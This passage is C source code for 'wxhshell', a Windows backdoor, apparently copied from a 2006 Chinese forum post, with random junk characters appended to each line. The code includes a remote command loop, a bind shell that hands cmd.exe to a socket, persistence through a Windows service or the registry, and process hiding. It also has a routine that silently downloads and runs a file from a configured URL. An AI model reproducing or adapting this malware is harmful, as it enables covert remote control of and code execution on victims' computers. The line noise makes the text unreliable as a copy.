  // 帮助 K1o&(;l8G  
  case '?': { "5<YN#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :zpT Gk8Z  
    break; M" $g*j  
  } :J+ANIRI  
  // 安装 LCb0Kq}*/(  
  case 'i': {  }s8xr>  
    if(Install()) Wxi;Tq9C@_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q v},X~^R  
    else g9IIC5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jPg[LZQ'  
    break;  J@J`)  
    } TjpAJW@-  
  // 卸载 |:`)sx3@#  
  case 'r': { ${97G#  
    if(Uninstall()) C%/@U[;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V3/OKI\o  
    else X @7:FzU9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .73sY5hdTN  
    break; X3y28 %R   
    } !"ydl2  
  // 显示 wxhshell 所在路径 @}' ?o_/C  
  case 'p': { ~W3t(\B'  
    char svExeFile[MAX_PATH]; I,r0K]  
    strcpy(svExeFile,"\n\r"); .fK~IKA  
      strcat(svExeFile,ExeFile); 8mO_dQ  
        send(wsh,svExeFile,strlen(svExeFile),0); c#@L~<  
    break; \t? ;p-+ta  
    } !HXyvyDN  
  // 重启 I}awembw g  
  case 'b': { v(,YqT>q@U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {RD9j1  
    if(Boot(REBOOT)) f3<253 1/}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dx.Jv/Mb  
    else { tw] l  
    closesocket(wsh); dd4^4X`j  
    ExitThread(0); ho!qXS  
    } TnuA uui*  
    break; WJ\,Y} J  
    } 52r\Q}v$  
  // 关机 vpdT2/F  
  case 'd': { I~-sBMm(w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6~6 vwp  
    if(Boot(SHUTDOWN)) xSq+>,b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )H&ZHaO,_  
    else { kAW2vh  
    closesocket(wsh); r]S"i$  
    ExitThread(0); .EjjCE/v-  
    } i\* b<V  
    break; %V(U]sbV  
    } 8C I\NR{x8  
  // 获取shell :aD_>,n  
  case 's': { s2#}@b6'.  
    CmdShell(wsh); <co:z<^lqu  
    closesocket(wsh); *QoQ$alHH  
    ExitThread(0); ~Yre(8+M  
    break; \3x+Z!  
  } cxIAI=JK  
  // 退出 $6d5W=u$H  
  case 'x': { K)eyFc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .AF\[IQ  
    CloseIt(wsh); k~JTQh*,w  
    break; ( ;KTV*1  
    } On,z# A  
  // 离开 QO4eDSW  
  case 'q': { NkAu<> G _  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LfvRH?<W  
    closesocket(wsh); 'Xasd3*Py  
    WSACleanup(); t ;y@;?~  
    exit(1); >Hd!o"I  
    break; hS^8/]E={  
        } NQN?CBFQ  
  } ~^o YPd52*  
  } iS`ok  
HUel  
  // 提示信息 `a@YbuLd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ];QX&";Z  
} +t(Gt0+  
  } {$C"yksr  
l4^MYwFR{O  
  return; :6Gf@Z&+  
} iq5-eJmq  
W Qe Q`pM  
// shell模块句柄 [] R8VC>Ah  
int CmdShell(SOCKET sock) GwmYhG<{  
{ u>V~:q\X  
STARTUPINFO si; Qn/ 6gRLj  
ZeroMemory(&si,sizeof(si)); Qo80u? *  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [MeFj!(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~Vc`AcWP  
PROCESS_INFORMATION ProcessInfo; Z_Y gV:jc  
char cmdline[]="cmd"; _ujhD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (,RL\1zJ  
  return 0; Yb'%J@T}  
} &#'.I0n  
t;t;+M|W  
// 自身启动模式 n9k-OGJ  
int StartFromService(void) W}WDj:  
{ pc;`Fz/`7  
typedef struct )t$-/8  
{ U< "k -  
  DWORD ExitStatus; cfHtUv  
  DWORD PebBaseAddress; D#d/?\2  
  DWORD AffinityMask; )c.!3n/pb  
  DWORD BasePriority; 2UTmQOm  
  ULONG UniqueProcessId; -LlS9[r0  
  ULONG InheritedFromUniqueProcessId; 1gX$U00:  
}   PROCESS_BASIC_INFORMATION; k%;oc$0G-3  
]'0}fuV  
PROCNTQSIP NtQueryInformationProcess; <Q_E3lQy/  
48.4GwL7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -s 7a\H{~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zo1 fUsK?  
.Z@iz5  
  HANDLE             hProcess; @ b} -<~  
  PROCESS_BASIC_INFORMATION pbi; )p{,5"0u  
p }3$7CR/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f/sLQdK,  
  if(NULL == hInst ) return 0; -E.fo._L5  
:VX2&*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BfDC[(n`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s =<65  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a@C}0IP)  
0*KL*Gn  
  if (!NtQueryInformationProcess) return 0; QH kjxj  
O*>`md?MH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); perhR!#J  
  if(!hProcess) return 0; R'^J#"[  
eo&G@zwN   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zuJ@@\75  
m=60a@o]  
  CloseHandle(hProcess); H2yPVJ\Y)"  
C-^8;xd  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,]tMZ?n8  
if(hProcess==NULL) return 0; m-Qy6"eW  
?:+p#&I  
HMODULE hMod; #d$lN}8  
char procName[255]; r>6FJ:Tx  
unsigned long cbNeeded; 9dva]$^:*1  
}eSrJgF4M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :,.HJ[Vg&  
jEL"Q?#  
  CloseHandle(hProcess); ((6?b5[  
~e686L0j  
if(strstr(procName,"services")) return 1; // 以服务启动 EU'P U  
3.h0  
  return 0; // 注册表启动 m~gcc  
} ?BU?c:"f  
oKPG0iM:  
// 主模块 8k^1:gt^  
int StartWxhshell(LPSTR lpCmdLine) KB gFS%-W  
{ 2|${2u`$&y  
  SOCKET wsl; =0>[-:Z  
BOOL val=TRUE; R=S)O.*R  
  int port=0; EfX,0NqT  
  struct sockaddr_in door; cEK#5   
"71Y{WQ   
  if(wscfg.ws_autoins) Install(); <=%G%V_s  
*`t3z-L  
port=atoi(lpCmdLine); )qRE['M  
HE+D]7^  
if(port<=0) port=wscfg.ws_port; PVrNS7 Rk/  
5-:H  
  WSADATA data; `~ h8D9G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8(* ze+8  
ob9=/ R?i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xv xrz{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,v#3A7"yW  
  door.sin_family = AF_INET; 0hq\{pw_y*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8TYoa:pZ  
  door.sin_port = htons(port); it->)?"(6  
]G,BSttD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ozl>Au  
closesocket(wsl); w=[ITQ|W%  
return 1; {&nDm$KTD  
} QM{B(zH  
(w Q,($@  
  if(listen(wsl,2) == INVALID_SOCKET) { ^j2z\yo  
closesocket(wsl); H:mcex  
return 1; Li\b ,_C  
} b\H,+|i K  
  Wxhshell(wsl); B+2.:Zn6  
  WSACleanup(); 2>m"CG  
G~/*!?&z  
return 0; 1{G@'# (  
 k.\4<}  
} 4Td)1~zc3  
)#,a'~w  
// 以NT服务方式启动 ,t39~w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Sb`SJ):x  
{ fdgjTX  
DWORD   status = 0; BipD8`a  
  DWORD   specificError = 0xfffffff; X&A2:A 6\+  
F`.W 9H3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; BfQ#5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &0OH:P%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; B. #-@  
  serviceStatus.dwWin32ExitCode     = 0; >bg{  
  serviceStatus.dwServiceSpecificExitCode = 0; hfs QAa  
  serviceStatus.dwCheckPoint       = 0; .GvZv>  
  serviceStatus.dwWaitHint       = 0; {T3wOi  
X @X`,/{X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iN2591S  
  if (hServiceStatusHandle==0) return; tD]vx`0>  
LftzW{>gI"  
status = GetLastError(); jK2gc^"t  
  if (status!=NO_ERROR) )9+H[  
{ E>F6!qYm  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; peVzF'F  
    serviceStatus.dwCheckPoint       = 0; UFeQ%oRa8  
    serviceStatus.dwWaitHint       = 0; }U**)"  
    serviceStatus.dwWin32ExitCode     = status; )a$sx}  
    serviceStatus.dwServiceSpecificExitCode = specificError; H:o=gP60]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M+7jJ?n  
    return; kMg[YQ]OC  
  } avUdv V-  
+d3h @gp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 35YDP|XZb  
  serviceStatus.dwCheckPoint       = 0; @ZtvpL}e  
  serviceStatus.dwWaitHint       = 0; TrBtTqH)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X&!($*/  
} DOq"=R+  
?Xq kf>  
// 处理NT服务事件,比如:启动、停止  xC2y/ ?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;p:CrFv  
{ \$,8aRT>#U  
switch(fdwControl) ,?!MVN-  
{ i$H9~tPs  
case SERVICE_CONTROL_STOP: 'acCnn'  
  serviceStatus.dwWin32ExitCode = 0; la`f@~Bbr1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XKvH^Z4h{l  
  serviceStatus.dwCheckPoint   = 0; x'V:qv*O  
  serviceStatus.dwWaitHint     = 0; y>ePCDR3  
  { .<6'*X R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Eo-58<q  
  } s2 $w>L  
  return; 2=X.$&a  
case SERVICE_CONTROL_PAUSE: t5EYu*  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [\=1|t5n~  
  break; u`u{\ xN9  
case SERVICE_CONTROL_CONTINUE: ^h"@OEga?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c`7dNx  
  break; PsN_c[+  
case SERVICE_CONTROL_INTERROGATE: VRUA<x  
  break; 3u9}z+q  
}; l)Mi?B~N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Oo9'  
} C%"aj^u  
*Q;?p hr  
// 标准应用程序主函数 z!)@`?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c>wn e\(5H  
{  x(A6RRh  
%4Yq (e  
// 获取操作系统版本 2FEi-m}  
OsIsNt=GetOsVer(); w+hpi5OH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |^OK@KdL1  
1/c+ug!y  
  // 从命令行安装 % ejq|i7  
  if(strpbrk(lpCmdLine,"iI")) Install(); BxesoB  
<6C:\{eo  
  // 下载执行文件 )%HIC@MM6  
if(wscfg.ws_downexe) { RT[ E$H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) E*QLw* H  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;+lsNf  
} VBK|*Tl  
V/yj.aA*@  
if(!OsIsNt) { Sea6xGdq  
// 如果时win9x,隐藏进程并且设置为注册表启动 Nu+DVIM  
HideProc(); z]!w@:  
StartWxhshell(lpCmdLine); rf]x5%ij  
} rg I Z  
else +(h{ 3Y|  
  if(StartFromService()) $rPQ%2eF4  
  // 以服务方式启动 9yj'->dL  
  StartServiceCtrlDispatcher(DispatchTable); XjTu`?Na;  
else Xl E0oN~{  
  // 普通方式启动 MaZS|Zei[  
  StartWxhshell(lpCmdLine); FDuIm,NI  
G'{&*]Z\:  
return 0; [ic%ZoZ_  
}
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只看该作者 1 发表于: 2006-10-10
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